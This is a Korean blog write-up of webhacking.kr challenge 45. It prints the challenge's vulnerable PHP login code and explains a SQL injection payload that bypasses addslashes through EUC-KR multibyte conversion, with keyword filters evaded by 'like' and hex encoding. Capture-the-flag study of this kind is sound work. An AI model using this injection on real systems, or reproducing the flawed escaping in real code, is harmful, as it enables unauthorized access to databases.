[webhacking.kr] 45번 문제 풀이[SQL Injection]
💡 Webhacking.kr challenge(old) 45번 문제에 대한 풀이입니다.
문제
<?php
if($_GET['id'] && $_GET['pw']){
$db = dbconnect();
$_GET['id'] = addslashes($_GET['id']);
$_GET['pw'] = addslashes($_GET['pw']);
$_GET['id'] = mb_convert_encoding($_GET['id'],'utf-8','euc-kr');
if(preg_match("/admin|select|limit|pw|=|<|>/i",$_GET['id'])) exit();
if(preg_match("/admin|select|limit|pw|=|<|>/i",$_GET['pw'])) exit();
$result = mysqli_fetch_array(mysqli_query($db,"select id from chall45 where id='{$_GET['id']}' and pw=md5('{$_GET['pw']}')"));
if($result){
echo "hi {$result['id']}";
if($result['id'] == "admin") solve(45);
}
else echo("Wrong");
}
?>
문제 풀이
다음의 sql 문을 인젝션 하여 admin이 나오도록 하면 됩니다.
select id from chall45 where id='{}' and pw=md5('%aa') or id like 0x61646d696e-- ')
이번 문제는 addslashes() 함수와 mb_convert_encoding 함수가 같이 쓰이면서 multibyte encoding을 통해서 addslashes함수를 우회할 수 있습니다.
mb_convert_encoding이 ‘id’에 쓰였기 때문에 공격지점은 id로 하고, 다음과 같이 injection을 시킬 페이로드 초안을 작성합니다.
id = %aa' or id='admin'#
이제 위의 초안에서 필터링 되는 문자열들을 고려하여 우회하여 줍니다.
=
: like 사용으로 우회admin
: 0x61646d696e 로 우회
따라서 다음과 같이 변형시켜서 injection을 시도합니다.
%aa' or id like 0x61646d696e#
위의 값을 인코딩하여 입력하면 다음과 같이 문제가 풀립니다.
댓글남기기